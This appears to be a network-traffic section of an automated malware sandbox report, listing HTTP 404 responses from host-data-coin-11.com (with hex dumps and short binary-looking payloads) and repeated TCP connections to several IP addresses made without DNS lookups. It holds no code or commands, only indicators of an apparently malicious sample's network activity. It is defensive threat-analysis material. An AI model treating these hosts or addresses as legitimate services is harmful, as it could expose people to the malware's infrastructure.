Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 43 fc 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ACSvDg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 45 0c a7 35 f4 eb 66 c1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevE5fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 dc 43 d2 fb 2f 82 2b eb ac 91 54 2f e0 b4 41 29 e3 b3 b7 6d f3 9d b8 51 ad 74 94 cf 32 4a 58 37 0b 4a dd bb 71 bd eb 1c 92 ac df 0d 0a 30 0d 0a 0d 0a Data Ascii: 60I:82OB%,YR("XSC/+T/A)mQt2JX7Jq0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 83 49 10 65 1e ff a7 8a bb a6 14 b7 1d dd 61 b2 45 4c da 01 f5 e7 3a ae 24 50 0a f3 e1 8c 1f b4 23 c7 17 9e ab 0d 0a 30 0d 0a 0d 0a Data Ascii: 39I:82OIeaEL:$P#0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.28.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.28.199
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.28.199
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
